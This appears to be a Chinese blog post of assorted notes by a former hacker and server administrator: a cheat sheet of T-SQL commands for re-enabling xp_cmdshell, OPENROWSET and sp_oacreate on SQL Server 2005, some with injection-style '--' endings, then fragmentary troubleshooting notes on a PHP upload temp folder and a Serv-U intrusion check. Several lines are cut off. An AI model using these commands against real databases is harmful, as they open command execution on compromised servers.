恢复sql危险存储的命令总结:

sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法：

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
EXEC sp_configure 'show advanced options', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure 'xp_cmdshell', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure   'show advanced options', 0 --

最近一直没玩黑，今天连一个机器发现终端服务挂掉了

所以记录一下

port password

不要用机器名，不识别，好郁闷的！

服务器上出现php程序无法上传新文件的错误!什么都不提示!

起初一直以为程序错误导致所以在后台关闭了上传,昨天给别人的空间里他也对我说出现如此问题,刚新安装的phpwind啊,不可能出现如此问题的!

于是检查php.ini

看了日期是3月份,不可能出现这么的没有动过嘛!

看了内容upload的是开着的

忽然发现个upload_temp的设置

php上传过程会产生临时文件在这个设置的目录里!

看了下那目录,文件整65535个, 65535大家都很熟悉了,可是没有想到windows目录竟然无法识别更多,或者

serv-u忘记给予低权限，今日登陆服务器发现终端连接过多！

于是mstsc /console上去后发现竟然多了个帐户，心想不可能被提权的啊，难道对方有0day

于是开始检查，发现还好没有被装什么远程控制马，然后还是觉得不对劲啊。

记得自己做过安全设置了不应该的！毕竟都是搞这些玩意出身嘛！自己清楚的记得mysql servu全都给予低权限了。

然后自己开命令查

sc qc mysql

帐户是我设置的帐户

C:\>sc qc mysql
[SC] QueryServiceConfig 成功

SERVICE_NAME: mysql